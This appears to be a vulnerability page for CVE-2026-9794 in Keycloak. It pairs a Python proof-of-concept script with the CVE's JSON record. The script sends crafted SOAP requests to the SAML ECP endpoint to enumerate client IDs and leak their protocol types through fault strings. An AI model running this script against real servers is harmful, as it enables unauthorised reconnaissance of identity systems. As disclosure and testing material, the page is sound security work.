CVE-2026-9794

import requests def check_ecp_leak(target_url, realm, client_id): # Construct the SAML ECP endpoint URL url = f"{target_url}/realms/{realm}/protocol/saml/epa" # Headers for SOAP request headers = { "Content-Type": "application/soap+xml", "Accept": "application/soap+xml" } # Basic SOAP payload structure targeting ECP # In a real scenario, this might need specific SAML AuthnRequest wrappers soap_payload = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header/> <soap:Body> <!-- Malformed or crafted content to trigger fault --> <AuthnRequest xmlns="urn:oasis:names:tc:SAML:2.0:protocol" client_id="{client_id}"> </AuthnRequest> </soap:Body> </soap:Envelope>""" try: response = requests.post(url, data=soap_payload, headers=headers, timeout=5) # Check if response contains fault string indicating protocol info if "faultstring" in response.text: print(f"[+] Client ID: {client_id}") print(f" Response Status: {response.status_code}") print(f" Fault String: {response.text}") print("-" * 40) else: print(f"[-] Client ID: {client_id} - No distinct fault found.") except Exception as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8080" realm_name = "master" # List of client IDs to test (Enumeration) clients = ["account", "admin-cli", "broker", "realm-management", "security-admin-console"] for client in clients: check_ecp_leak(target, realm_name, client)

{"cve": {"id": "CVE-2026-9794", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:40.847", "lastModified": "2026-05-28T05:16:40.847", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted SOAP requests to the SAML ECP (Security Assertion Markup Language Enhanced Client or Proxy) endpoint with varying client IDs. By observing distinct faultstrings in the responses, the attacker can determine the client's protocol type, leading to information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9794", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482461", "source": "[email protected]"}]}}